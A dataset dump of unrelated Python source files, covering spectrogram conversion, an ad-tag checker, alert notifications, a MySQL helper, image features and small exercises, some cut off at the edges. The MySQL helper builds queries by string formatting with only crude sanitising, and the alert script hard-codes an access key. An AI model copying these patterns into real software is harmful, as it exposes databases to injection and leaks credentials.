by Schema\n Schema(self.__class__.SCHEMA).validate(self.__dict__)\n )\n except SchemaError as err:\n error_message = 'Failed to validate configration: ' + \\\n ', '.join([msg for msg in err.autos])\n raise InvalidConfigurationException(error_message) from err\n","sub_path":"agent_core/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":2523,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"629585857","text":"\n\n#calss header\nclass _FURTHER():\n\tdef __init__(self,): \n\t\tself.name = \"FURTHER\"\n\t\tself.definitions = [u'comparative of far : to a greater distance or degree, or at a more advanced level: ', u'If you go or take something further, you take it to a more advanced stage: ']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'adverbs'\n\n\n\tdef run(self, obj1, obj2):\n\t\tself.jsondata[obj2] = {}\n\t\tself.jsondata[obj2]['properties'] = self.name.lower()\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/adverbs/_further.py","file_name":"_further.py","file_ext":"py","file_size_in_byte":521,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"589395551","text":"import serial\nimport time\nimport string\n\nser = serial.Serial('/dev/cu.usbmodem1421', 9600)\nser.dsrdtr=False\nser.setDTR(level=False)\ntime.sleep(2)\ndef sendString(robo, dirR, speedR, dirL, speedL):\n\tser.write('S' + str(robo) + \"#\" + str(dirR) + '#' + str(speedR) + '#' + str(dirL) + '#' + str(speedL) + 'E')\n\treturn ser.readline()\n\ndef closeSerial():\n\tser.close()\n","sub_path":"Rádio controle/src/SerialPyCpp/SerialPyCpp/arduinoSerial.py","file_name":"arduinoSerial.py","file_ext":"py","file_size_in_byte":362,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"270501085","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport urllib2\nimport json\nimport os\nimport gzip\nimport csv\nfrom collections import OrderedDict\nimport sys\nimport datetime\n\nreload(sys)\nsys.setdefaultencoding('utf-8')\n\ndcei_home = os.getenv('SPLUNK_HOME', '/opt/dcei')\nconf_file = os.path.join(dcei_home,\n 'etc/apps/dce_monitor/bin/scripts/alert.json')\nlog_file = os.path.join(dcei_home,\n 'etc/apps/dce_monitor/bin/scripts/alert-{}.log'.format(\n datetime.datetime.now().strftime('%Y-%m')))\nconf = json.load(open(conf_file))\n\nparam_dict = globals().get('param_dict', dict())\ncustom_param = dict(\n i.split('=') for i in param_dict['configuration']['custom_param'].split())\n\n\ndef dcei_get_result(result_file):\n with gzip.open(result_file) as f:\n reader = csv.DictReader(f)\n for res in reader:\n yield res\n\n\n\n\ndef get_objs(url, data=None, method=None):\n req = urllib2.Request('{:s}'.format(url), data=data)\n req.add_header('Content-type', 'application/json;charset=utf-8')\n if method:\n req.get_method = lambda: method\n\n try:\n objs = json.loads(urllib2.urlopen(req).read())\n return objs\n except all as e:\n print(e)\n\n\ndef alert_sms():\n url = conf['sms_conf']['url']\n tels = []\n for i in custom_param.get('RECEIVER').split(','):\n tels += conf['sms_conf']['receiver'][i]\n\n all_results = dcei_get_result(param_dict['results_file'])\n for res in all_results:\n namespace = res.get('namespace')\n deployment = res.get('deployment')\n message = param_dict['configuration']['name']\n if deployment:\n message_detail = '租户:{} 应用:{} {}:{} {} {}'.format(\n namespace, deployment, param_dict['result'].get('target_type'),\n param_dict['result'].get('target'), param_dict['result'].get(\n 'target_value_type', ''), param_dict['result'].get(\n 'target_value', ''))\n else:\n message_detail = '{}:{} {} {}'.format(\n param_dict['result'].get('target_type'),\n param_dict['result'].get('target'), param_dict['result'].get(\n 'target_value_type', ''), param_dict['result'].get(\n 'target_value', ''))\n\n for tel in tels:\n params = OrderedDict(\n [(\"zone\", custom_param.get('DC', '#')), (\"message\", message),\n (\"message_detail\", message_detail), (\"reservation\",\n \",请及时处理\")])\n data = json.dumps({\n \"accessKey\": \"2014420564\",\n \"receiver\": tel,\n \"tempId\": \"10759157\",\n \"params\": params\n })\n with open(log_file, 'ab+') as f:\n f.write('{} {} {} {}\\n'.format(\n datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S'),\n str(get_objs(url, data, 'POST')).decode(\n 'unicode-escape').encode('utf-8'),\n message.decode('unicode-escape').encode('utf-8'),\n message_detail.decode('unicode-escape').encode('utf-8')))\n\n\ndef alert_wechat():\n url = conf['wechat_conf']['url']\n mentioned_list = []\n for i in custom_param.get('RECEIVER').split(','):\n mentioned_list += conf['wechat_conf']['receiver'][i]\n\n message = '## {}数据中心\\n#### {}\\n\\n'.format(\n custom_param.get('DC', '#'), param_dict['configuration']['name'])\n all_results = dcei_get_result(param_dict['results_file'])\n for res in all_results:\n namespace = res.get('namespace')\n deployment = res.get('deployment')\n if deployment:\n message += '''>租户 {}\n >应用 {}\n >{} {}\n >{} {}\\n\\n'''.format(namespace, deployment,\n res.get('target_type'),\n res.get('target'),\n res.get('target_value_type', ''),\n res.get('target_value', ''))\n else:\n message += '''>{} {}\n >{} {}\\n\\n'''.format(\n res.get('target_type'),\n res.get('target'),\n res.get('target_value_type', ''), res.get('target_value', ''))\n message = message[:2048]\n data = {\"msgtype\": \"markdown\", \"markdown\": {\"content\": message}}\n data = bytes(json.dumps(data, 'utf-8', ensure_ascii=False))\n\n with open(log_file, 'ab+') as f:\n f.write('{} {} {}\\n'.format(\n datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S'),\n str(get_objs(url, data, 'POST')).decode('unicode-escape').encode(\n 'utf-8'), message.decode('unicode-escape').encode('utf-8')))\n\n\nif __name__ == '__main__':\n for method in custom_param.get('ALERT_METHOD').split(','):\n if method == 'sms':\n alert_sms()\n if method == 'wechat':\n alert_wechat()\n","sub_path":"work/daocloud/alert_md.py","file_name":"alert_md.py","file_ext":"py","file_size_in_byte":5076,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"50275096","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('authuser', '0004_auto_20170124_1246'),\n ]\n\n operations = [\n migrations.RemoveField(\n model_name='customuser',\n name='uid',\n ),\n migrations.AlterField(\n model_name='customuser',\n name='num_class',\n field=models.DecimalField(verbose_name='\\u041a\\u043b\\u0430\\u0441\\u0441', max_digits=5, decimal_places=1),\n ),\n ]\n","sub_path":"authuser/migrations/0005_auto_20170124_1309.py","file_name":"0005_auto_20170124_1309.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"20812574","text":"'''speedControl'''\ndef main():\n '''main'''\n limit = float(input())\n speed = float(input())\n pay = 50.0\n if speed <= limit:\n print('Your speed is legal.')\n else:\n pay += (speed - limit)*5\n if speed > 90:\n pay += 200\n print('The speed is illegal, your fine is ${0:.2f}'.format(pay))\n\nmain()\n","sub_path":"speedControl.py","file_name":"speedControl.py","file_ext":"py","file_size_in_byte":346,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"67914793","text":"import tensorflow as tf\nimport tensorflow_probability as tfp\nimport numpy as np\nimport functools\n\n\ndef diff(inputs, axis=-1):\n\n begin_back = [0] * inputs.shape.rank\n begin_front = [0] * inputs.shape.rank\n begin_front[axis] = 1\n\n size = inputs.shape.as_list()\n size[axis] -= 1\n\n back = tf.slice(inputs, begin_back, size)\n front = tf.slice(inputs, begin_front, size)\n\n return front - back\n\n\ndef unwrap(phases, discont=np.pi, axis=-1):\n\n diffs = diff(phases, axis=axis)\n mods = tf.mod(diffs + np.pi, 2 * np.pi) - np.pi\n indices = tf.logical_and(tf.equal(mods, -np.pi), tf.greater(diffs, 0))\n mods = tf.where(indices, tf.ones_like(mods) * np.pi, mods)\n corrects = mods - diffs\n cumsums = tf.cumsum(corrects, axis=axis)\n\n shape = phases.shape.as_list()\n shape[axis] = 1\n\n cumsums = tf.concat([tf.zeros(shape), cumsums], axis=axis)\n\n return phases + cumsums\n\n\ndef instantaneous_frequency(phases, axis=-2):\n\n unwrapped = unwrap(phases, axis=axis)\n diffs = diff(unwrapped, axis=axis)\n\n begin = [0] * unwrapped.shape.rank\n\n size = unwrapped.shape.as_list()\n size[axis] = 1\n\n unwrapped = tf.slice(unwrapped, begin, size)\n diffs = tf.concat([unwrapped, diffs], axis=axis) / np.pi\n\n return diffs\n\n\ndef convert_to_spectrograms(waveforms, waveform_length, sample_rate, spectrogram_shape, overlap):\n\n def normalize(inputs, mean, std):\n return (inputs - mean) / std\n # =========================================================================================\n time_steps, num_freq_bins = spectrogram_shape\n frame_length = num_freq_bins * 2\n frame_step = int((1 - overlap) * frame_length)\n num_samples = frame_step * (time_steps - 1) + frame_length\n # =========================================================================================\n # For Nsynth dataset, we are putting all padding in the front\n # This causes edge effects in the tail\n waveforms = tf.pad(waveforms, [[0, 0], [num_samples - waveform_length, 0]])\n # =========================================================================================\n stfts = tf.signal.stft(\n signals=waveforms,\n frame_length=frame_length,\n frame_step=frame_step,\n window_fn=functools.partial(\n tf.signal.hann_window,\n periodic=True\n )\n )\n # =========================================================================================\n # discard_dc\n stfts = stfts[..., 1:]\n # =========================================================================================\n magnitude_spectrograms = tf.abs(stfts)\n phase_spectrograms = tf.angle(stfts)\n # =========================================================================================\n linear_to_mel_weight_matrix = tf.signal.linear_to_mel_weight_matrix(\n num_mel_bins=num_freq_bins,\n num_spectrogram_bins=num_freq_bins,\n sample_rate=sample_rate,\n lower_edge_hertz=0,\n upper_edge_hertz=sample_rate / 2\n )\n mel_magnitude_spectrograms = tf.tensordot(magnitude_spectrograms, linear_to_mel_weight_matrix, axes=1)\n mel_magnitude_spectrograms.set_shape(magnitude_spectrograms.shape[:-1].concatenate(linear_to_mel_weight_matrix.shape[-1:]))\n mel_phase_spectrograms = tf.tensordot(phase_spectrograms, linear_to_mel_weight_matrix, axes=1)\n mel_phase_spectrograms.set_shape(phase_spectrograms.shape[:-1].concatenate(linear_to_mel_weight_matrix.shape[-1:]))\n # =========================================================================================\n log_mel_magnitude_spectrograms = tf.log(mel_magnitude_spectrograms + 1e-6)\n mel_instantaneous_frequencies = instantaneous_frequency(mel_phase_spectrograms)\n # =========================================================================================\n log_mel_magnitude_spectrograms = normalize(log_mel_magnitude_spectrograms, -4, 10)\n mel_instantaneous_frequencies = normalize(mel_instantaneous_frequencies, 0, 1)\n # =========================================================================================\n return log_mel_magnitude_spectrograms, mel_instantaneous_frequencies\n\n\ndef convert_to_waveforms(log_mel_magnitude_spectrograms, mel_instantaneous_frequencies, waveform_length, sample_rate, spectrogram_shape, overlap):\n\n def unnormalize(inputs, mean, std):\n return inputs * std + mean\n # =========================================================================================\n time_steps, num_freq_bins = spectrogram_shape\n frame_length = num_freq_bins * 2\n frame_step = int((1 - overlap) * frame_length)\n num_samples = frame_step * (time_steps - 1) + frame_length\n # =========================================================================================\n log_mel_magnitude_spectrograms = unnormalize(log_mel_magnitude_spectrograms, -4, 10)\n mel_instantaneous_frequencies = unnormalize(mel_instantaneous_frequencies, 0, 1)\n # =========================================================================================\n mel_magnitude_spectrograms = tf.exp(log_mel_magnitude_spectrograms)\n mel_phase_spectrograms = tf.cumsum(mel_instantaneous_frequencies * np.pi, axis=-2)\n # =========================================================================================\n linear_to_mel_weight_matrix = tf.signal.linear_to_mel_weight_matrix(\n num_mel_bins=num_freq_bins,\n num_spectrogram_bins=num_freq_bins,\n sample_rate=sample_rate,\n lower_edge_hertz=0,\n upper_edge_hertz=sample_rate / 2\n )\n mel_to_linear_weight_matrix = tfp.math.pinv(linear_to_mel_weight_matrix)\n magnitudes = tf.tensordot(mel_magnitude_spectrograms, mel_to_linear_weight_matrix, axes=1)\n magnitudes.set_shape(mel_magnitude_spectrograms.shape[:-1].concatenate(mel_to_linear_weight_matrix.shape[-1:]))\n phase_spectrograms = tf.tensordot(mel_phase_spectrograms, mel_to_linear_weight_matrix, axes=1)\n phase_spectrograms.set_shape(mel_phase_spectrograms.shape[:-1].concatenate(mel_to_linear_weight_matrix.shape[-1:]))\n # =========================================================================================\n stfts = tf.complex(magnitudes, 0.0) * tf.complex(tf.cos(phase_spectrograms), tf.sin(phase_spectrograms))\n # =========================================================================================\n # discard_dc\n stfts = tf.pad(stfts, [[0, 0], [0, 0], [1, 0]])\n # =========================================================================================\n waveforms = tf.signal.inverse_stft(\n stfts=stfts,\n frame_length=frame_length,\n frame_step=frame_step,\n window_fn=tf.signal.inverse_stft_window_fn(\n frame_step=frame_step,\n forward_window_fn=functools.partial(\n tf.signal.hann_window,\n periodic=True\n )\n )\n )\n # =========================================================================================\n # For Nsynth dataset, we are putting all padding in the front\n # This causes edge effects in the tail\n waveforms = waveforms[:, num_samples - waveform_length:]\n # =========================================================================================\n return waveforms\n","sub_path":"spectral_ops.py","file_name":"spectral_ops.py","file_ext":"py","file_size_in_byte":7298,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"633175724","text":"import requests\nfrom requests_html import HTMLSession\n\n\ndef find_ezoic_tags(url):\n \"\"\"\n Looks for ezoic ad tags.\n :param url: a fully parsed url as a string\n :return: boolean, true if found, otherwise returns false\n \"\"\"\n session = HTMLSession()\n request = session.get(url)\n ezoic_tag = request.html.find('[id^=\"ezoic\"]')\n session.close()\n return bool(ezoic_tag)\n\n\ndef find_ezoic_script(url):\n \"\"\"\n Checks the text of the site to look for possible ezoic script code.\n :param url: site url as a string\n :return: boolean, true if ezoic script is found, otherwise false\n \"\"\"\n request = requests.get(url)\n ez_code = request.text.count('__ez.')\n return bool(ez_code)\n\n\ndef test_connection(url):\n \"\"\"\n This tests the connection to the site to ensure we can connect.\n :param url: a fully parsed URL as a string\n :return: boolean, true if we can connect, otherwise returns false\n \"\"\"\n connection = requests.get(url)\n if connection.status_code == 200:\n return True\n else:\n return False\n\n\ndef dfp_search(url):\n \"\"\"\n Searches for code linked to a separate DFP.\n :param url: URL of the site as a string.\n :return: returns True if anything is found, otherwise returns false\n \"\"\"\n request = requests.get(url)\n enable_services = request.text.count('enableServices()')\n gpt_script = request.text.count('gpt.js')\n if enable_services or gpt_script:\n return True\n else:\n return False\n\n\ndef double_ga(url):\n \"\"\"\n This checks for possible duplicate Google Analytics scripts.\n :param url: a string, the complete URL of the page being checked\n :return: boolean, returns true if the count is > 1, otherwise returns false\n \"\"\"\n request = requests.get(url)\n ga_search = request.text.count(\"send', 'pageview');\")\n if ga_search > 1:\n return True\n else:\n return False\n\n\ndef conflicts_call(url):\n connection_test = test_connection(url)\n if not connection_test:\n return \"Error. Could not connect to site.\"\n tags = find_ezoic_tags(url)\n script = find_ezoic_script(url)\n dfp = dfp_search(url)\n ga = double_ga(url)\n tags_response = 'Ezoic ad tags most likely on site.\\n'\n script_response = 'Ezoic script code most likely on site.\\n'\n dfp_response = 'Separate DFP code most likely on site.\\n'\n ga_response = 'Possible double Google Analytics instances detected.\\n' \\\n 'Please ask someone from Products to manually verify the Google Analytics.'\n response_string = f'For {url}:\\n'\n if tags:\n response_string += tags_response\n if script:\n response_string += script_response\n if dfp:\n response_string += dfp_response\n if ga:\n response_string += ga_response\n if not tags and not script and not dfp and not ga:\n return \"No conflicting code detected.\"\n return response_string\n\n\n","sub_path":"conflicts.py","file_name":"conflicts.py","file_ext":"py","file_size_in_byte":2922,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"266745138","text":"import pystan\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport pandas as pd\nimport numpy as np\n\nsns.set()\nnp.random.seed(101)\n\nmodel = \"\"\"\ndata {\n int N;\n vector[N] x;\n vector[N] y;\n}\nparameters {\n real alpha;\n real beta;\n real sigma;\n}\nmodel {\n y ~ normal(alpha + beta * x, sigma);\n}\n\"\"\"\n\nalpha = 4.0\nbeta = 0.5\nsigma = 1.0\n\nx = 10 * np.random.rand(100)\ny = alpha + beta * x\ny = np.random.normal(y, scale=sigma)\n\nplt.figure()\nplt.scatter(x, y)\nplt.show()\n\ndata = {'N': len(x), 'x': x, 'y': y}\n\nsm = pystan.StanModel(model_code=model)\n\nfit = sm.sampling(data=data, iter=1000, chains=4, warmup=500, thin=1, seed=101)\nprint(fit)\n\nsummary_dict = fit.summary()\ndf = pd.DataFrame(summary_dict['summary'],\n columns=summary_dict['summary_colnames'],\n index=summary_dict['summary_rownames'])\n\nalpha_mean, beta_mean = df['mean']['alpha'], df['mean']['beta']\n\nalpha = fit['alpha']\nbeta = fit['beta']\nsigma = fit['sigma']\nlp = fit['lp__']\n\ndef plot_trace(param, param_name='parameter'):\n mean = np.mean(param)\n median = np.median(param)\n cred_min, cred_max = np.percentile(param, 2.5), np.percentile(param, 97.5)\n\n plt.subplot(2, 1, 1)\n plt.plot(param)\n","sub_path":"assignment-1/pystan_test.py","file_name":"pystan_test.py","file_ext":"py","file_size_in_byte":1222,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"117505359","text":"0#!/usr/bin/python\n# -*- coding: cp1252 -*-\n\n# import MySQL module\nimport MySQLdb\nimport getpass\nimport datetime\n\nclass Connection:\n\n def __init__(self,user,password,database):\n self.user = user\n self.db = MySQLdb.connect(host=\"localhost\", user=user, passwd=password, db=database)\n\n def getAttributes(self,table):\n \"Returns the fields of the table and their associated datatypes\"\n cursor = self.db.cursor()\n cursor.execute(\"SHOW COLUMNS FROM {}\".format(table))\n columns = cursor.fetchall()\n columns = [c[:2] for c in columns]\n return columns\n\n def getTables(self):\n \"Returns a list of tables in the database\"\n cursor = self.db.cursor()\n cursor.execute(\"SHOW TABLES\")\n tables = cursor.fetchall()\n return tables\n\n def execute(self,statement):\n cursor = self.db.cursor()\n cursor.execute(statement)\n return cursor\n\n def update(self,table,CAs,CVs,FAs,FOs,FVs):\n \"Changes each attribute in CAs to the value in CVs when filter FAs,FOs,FVs holds\"\n \n whereStatement = getFilter(FAs,FOs,FVs)\n #you cannot update without a where statement or a matching set of change attributes and values\n if not (whereStatement): return \"ERROR - FAILED TO PARSE FILTERS\"\n if not (len(CAs)==len(CVs)): return \"ERROR - ATTRIBUTE AND VALUE LIST LENGTHS DO NOT MATCH\"\n for i,v in enumerate(CVs):\n try: CVs[i] = str(int(v)) #Integers\n except ValueError: CVs[i] = \"\\\"{}\\\"\".format(v) #Strings\n setStatement = \", \".join([\"{} = {}\".format(CAs[i],v) for i,v in enumerate(CVs)])\n query = \"UPDATE {} SET {} WHERE {}\".format(table,setStatement,whereStatement)\n cursor = self.db.cursor()\n cursor.execute(query)\n return \"SUCCESS; {} UPDATED TO SET {} WHERE {}\".format(table,setStatement,whereStatement)\n\n def select(self,table,SAs,FAs,FOs,FVs):\n \"Returns the values of the requested SAs given filters FAs,FOs,FVs\"\n whereStatement = getFilter(FAs,FOs,FVs)\n #you cannot update without a where statement or a matching set of change attributes and values\n if not (whereStatement): return \"ERROR - FAILED TO PARSE FILTERS\"\n selectStatement = \", \".join(SAs)\n if not selectStatement: selectStatement = \"*\"\n query = \"SELECT {} FROM {} WHERE {}\".format(selectStatement,table,whereStatement)\n cursor = self.db.cursor()\n cursor.execute(query)\n result = cursor.fetchall()\n return result\n\n def delete(self,table,FAs,FOs,FVs):\n \"Deletes based on filters FAs,FOs,FVs\"\n whereStatement = getFilter(FAs,FOs,FVs)\n #you cannot update without a where statement or a matching set of change attributes and values\n if not (whereStatement): return \"ERROR - FAILED TO PARSE FILTERS\"\n query = \"DELETE FROM {} WHERE {}\".format(table,whereStatement)\n cursor = self.db.cursor()\n cursor.execute(query)\n return \"SUCCESSFUL DELETION\"\n\n def selectAll(self,table,SAs):\n \"Returns the entire table, with just attributes SAs\"\n selectStatement = \", \".join(SAs)\n if not selectStatement: selectStatement = \"*\"\n cursor = self.db.cursor()\n cursor.execute(\"SELECT {} FROM {}\".format(selectStatement,table))\n result = cursor.fetchall()\n return result\n\n def append(self,table,tuples,fields=None):\n \"Appends given tuples to table\"\n fieldStatement = \"\"\n if fields: fieldStatement = \"({}) \".format(\", \".join(fields))\n valuesStatement = \", \".join(tuples)\n statement = \"INSERT INTO {} {}VALUES ({});\".format(table,fieldStatement,valuesStatement)\n print(statement)\n cursor = self.db.cursor()\n cursor.execute(statement)\n\n def commit(self):\n self.db.commit()\n\n\ndef sanitize(statement):\n \"Sanitizes a statement by removing quotes and semicolns to prevent SQL injection attacks\"\n return statement.replace(\";\",\"\").replace(\"'\",\"\").replace(\"\\\"\",\"\")\n\ndef getFilter(attributes,operators,values):\n \"Returns a properly formatted where clause\"\n #Make sure all inputs have same length\n if not (len(attributes) == len(operators) == len(values)): return \"\"\n #Put quotations around strings and make sure strings operators are equals or not equals signs\n for i,v in enumerate(values):\n try: values[i] = str(int(v)) #Integers\n except ValueError: #Strings\n values[i] = \"\\\"{}\\\"\".format(v)\n if operators[i] not in [\"=\",\"!=\"]: return \"\"\n output = \", \".join([\"{} {} {}\".format(attributes[i],operators[i],v) for i,v in enumerate(values)])\n return output\n\n#print \"Connection automatically established with conferencescheduler connectionas 'db' for debugging purposes\"\n#db = Connection(\"ananda\",\"password\",\"scheduler\")\n","sub_path":"toolbox.py","file_name":"toolbox.py","file_ext":"py","file_size_in_byte":4906,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"211744770","text":"import sys\nimport fractions\nmat = [[0, 0, 0], [0, 0, 0], [0, 0, 0]]\n\nprint(\"\"\"Matrix must be entered in the form:\n[A B C]\n[D E F]\n[G H I]\n\"\"\")\nmat_value_names = [['A', 'B', 'C'], ['D', 'E', 'F'], ['G', 'H', 'I']]\nfor i in range(0, 3):\n for j in range(0, 3):\n var = int(input(\"Enter number \" + mat_value_names[i][j] + \": \"))\n mat[i][j] = var\n\ncf1 = mat[1][1] * mat[2][2] - mat[1][2] * mat[2][1]\ncf2 = -(mat[1][0] * mat[2][2] - mat[1][2] * mat[2][0])\ncf3 = mat[1][0] * mat[2][1] - mat[1][1] * mat[2][0]\ncf4 = -(mat[0][1] * mat[2][2] - mat[0][2] * mat[2][1])\ncf5 = mat[0][0] * mat[2][2] - mat[0][2] * mat[2][0]\ncf6 = -(mat[0][0] * mat[2][1] - mat[0][1] * mat[2][0])\ncf7 = mat[0][1] * mat[1][2] - mat[0][2] * mat[1][1]\ncf8 = -(mat[0][0] * mat[1][2] - mat[0][2] * mat[1][0])\ncf9 = mat[0][0] * mat[1][1] - mat[0][1] * mat[1][0]\n\nadj = [[cf1, cf4, cf7], [cf2, cf5, cf8], [cf3, cf6, cf9]]\n\ndet = mat[0][0] * cf1 + mat[0][1] * cf2 + mat[0][2] * cf3\nprint(\"\\nDeterminant: \" + str(det))\n\nif det == 0:\n print(\"Sorry, the inverse does not exist\")\n sys.exit()\n\nprint(\"\\nCofactor matrix: \")\nprint(\"[\" + str(cf1) + \" \" + str(cf2) + \" \" + str(cf3) + \"]\")\nprint(\"[\" + str(cf4) + \" \" + str(cf5) + \" \" + str(cf6) + \"]\")\nprint(\"[\" + str(cf7) + \" \" + str(cf8) + \" \" + str(cf9) + \"]\")\n\nprint(\"\\nTranspose matrix: \")\nprint(\"[\" + str(adj[0][0]) + \" \" + str(adj[0][1]) + \" \" + str(adj[0][2]) + \"]\")\nprint(\"[\" + str(adj[1][0]) + \" \" + str(adj[1][1]) + \" \" + str(adj[1][2]) + \"]\")\nprint(\"[\" + str(adj[2][0]) + \" \" + str(adj[2][1]) + \" \" + str(adj[2][2]) + \"]\")\n\ninv = [[0, 0, 0], [0, 0, 0], [0, 0, 0]]\n\nfor i in range(0, 3):\n for j in range(0, 3):\n inv[i][j] = 1/det * adj[i][j]\n\nprint(\"\\nInverse matrix: \")\nprint(\"[\" + str(fractions.Fraction(inv[0][0]).limit_denominator()) + \" \" + str(fractions.Fraction(inv[0][1]).limit_denominator()) + \" \" + str(fractions.Fraction(inv[0][2]).limit_denominator()) + \"]\")\nprint(\"[\" + str(fractions.Fraction(inv[1][0]).limit_denominator()) + \" \" + str(fractions.Fraction(inv[1][1]).limit_denominator()) + \" \" + str(fractions.Fraction(inv[1][2]).limit_denominator()) + \"]\")\nprint(\"[\" + str(fractions.Fraction(inv[2][0]).limit_denominator()) + \" \" + str(fractions.Fraction(inv[2][1]).limit_denominator()) + \" \" + str(fractions.Fraction(inv[2][2]).limit_denominator()) + \"]\")\n","sub_path":"matrix-inverse.py","file_name":"matrix-inverse.py","file_ext":"py","file_size_in_byte":2367,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"53053566","text":"import pyaudio\nimport wave\n\nfilename = \"recorded.wav\"\nchunk = 2048\nFORMAT = pyaudio.paInt16\nchannels = 1\nsample_rate = 44100\nrecord_seconds = 1\np = pyaudio.PyAudio()\nindex = int(input())\nstream = p.open(format=FORMAT,channels=channels,\n rate=sample_rate,input=True,input_device_index=index,\n frames_per_buffer=chunk)\n\nframes = []\nprint(\"Recording...\")\nfor i in range(int(44100 / chunk * record_seconds)):\n data = stream.read(chunk)\n # if you want to hear your voice while recording\n # stream.write(data)\n frames.append(data)\nprint(\"Finished recording.\")\n# stop and close stream\nstream.stop_stream()\nstream.close()\n# terminate pyaudio object\np.terminate()\n# save audio file\n# open the file in 'write bytes' mode\nwf = wave.open(filename, \"wb\")\n# set the channels\nwf.setnchannels(channels)\n# set the sample format\nwf.setsampwidth(p.get_sample_size(FORMAT))\n# set the sample rate\nwf.setframerate(sample_rate)\n# write the frames as bytes\nwf.writeframes(b\"\".join(frames))\n# close the file\nwf.close()\n","sub_path":"venv/aud.py","file_name":"aud.py","file_ext":"py","file_size_in_byte":1036,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"282701822","text":"import numpy as np\r\nimport glob\r\nfrom skimage import io, color, feature, img_as_float, img_as_ubyte, transform\r\nfrom numpy import *\r\ntry:\r\n import cPickle as pickle\r\nexcept ImportError:\r\n import pickle\r\nimport os\r\n\r\n\r\ndef LBP(im):\r\n Method = 'uniform'\r\n P = 8\r\n R = 3\r\n im_gray = color.rgb2gray(im)\r\n im_gray = img_as_ubyte(im_gray)\r\n lbp = np.zeros(10, dtype=np.float)\r\n l = feature.local_binary_pattern(im_gray, P, R, Method)\r\n for i in range(l.shape[0]):\r\n for j in range(l.shape[1]):\r\n lbp[int(l[i, j])] += 1\r\n sum_lbp = np.sum(lbp)\r\n lbp[:] = lbp[:] / sum_lbp\r\n return lbp\r\n\r\n\r\ndef rgb2hsv(arr):\r\n out = np.empty_like(arr)\r\n # -- V channel\r\n out_v = arr.max(-1)\r\n # -- S channel\r\n delta = arr.ptp(-1)\r\n # Ignore warning for zero divided by zero\r\n old_settings = np.seterr(invalid='ignore')\r\n out_s = delta / out_v\r\n out_s[delta == 0.] = 0.\r\n # -- H channel\r\n # red is max\r\n idx = (arr[:, :, 0] == out_v)\r\n out[idx, 0] = (arr[idx, 1] - arr[idx, 2]) / delta[idx]\r\n\r\n # green is max\r\n idx = (arr[:, :, 1] == out_v)\r\n out[idx, 0] = 2. + (arr[idx, 2] - arr[idx, 0]) / delta[idx]\r\n\r\n # blue is max\r\n idx = (arr[:, :, 2] == out_v)\r\n out[idx, 0] = 4. + (arr[idx, 0] - arr[idx, 1]) / delta[idx]\r\n out_h = (out[:, :, 0] / 6.) % 1.\r\n out_h[delta == 0.] = 0.\r\n\r\n np.seterr(**old_settings)\r\n out_h[:] = np.round(out_h[:] * 360)\r\n # -- output\r\n out[:, :, 0] = out_h\r\n out[:, :, 1] = out_s\r\n out[:, :, 2] = out_v\r\n # remove NaN\r\n out[np.isnan(out)] = 0\r\n return out\r\n\r\n\r\ndef rank_hsv(im): # 为HSV色彩空间进行量化,12个H分量级,3个S分量,1个V分量\r\n L = im.copy()\r\n for i in range(im.shape[0]):\r\n for j in range(im.shape[1]):\r\n if 0 < L[i, j, 0] <= 20:\r\n L[i, j, 0] = 0\r\n elif 20 < L[i, j, 0] <= 75:\r\n L[i, j, 0] = 1\r\n elif 75 < L[i, j, 0] <= 155:\r\n L[i, j, 0] = 2\r\n elif 155 < L[i, j, 0] <= 190:\r\n L[i, j, 0] = 3\r\n elif 190 < L[i, j, 0] <= 270:\r\n L[i, j, 0] = 4\r\n elif 270 < L[i, j, 0] <= 295:\r\n L[i, j, 0] = 5\r\n elif 295 < L[i, j, 0] <= 310.0:\r\n L[i, j, 0] = 6\r\n elif 310 < L[i, j, 0] <= 320.0:\r\n L[i, j, 0] = 7\r\n elif 320 < L[i, j, 0] <= 330.0:\r\n L[i, j, 0] = 8\r\n elif 330 < L[i, j, 0] <= 340.0:\r\n L[i, j, 0] = 9\r\n elif 340 < L[i, j, 0] <= 350.0:\r\n L[i, j, 0] = 10\r\n else:\r\n L[i, j, 0] = 11\r\n\r\n if 0 <= L[i, j, 1] < 0.2:\r\n L[i, j, 1] = 0\r\n elif 0.2 <= L[i, j, 1] < 0.7:\r\n L[i, j, 1] = 1\r\n else:\r\n L[i, j, 1] = 2\r\n\r\n L[i, j, 2] = 0 # V分量为亮度,因此均将其量化为1不进行考虑\r\n return L\r\n\r\n\r\ndef Hist_hsv(im): # 得到量化过后36柄的一维直方图(全局颜色直方图)\r\n H = np.zeros(36, float)\r\n position = (3 * im[..., 0] + im[..., 1])\r\n for i in range(position.shape[0]):\r\n for j in range(position.shape[1]):\r\n H[int(position[i, j])] += 1\r\n Sum_H = sum(H)\r\n H[:] = H[:] / Sum_H\r\n return H\r\n\r\n\r\ndef 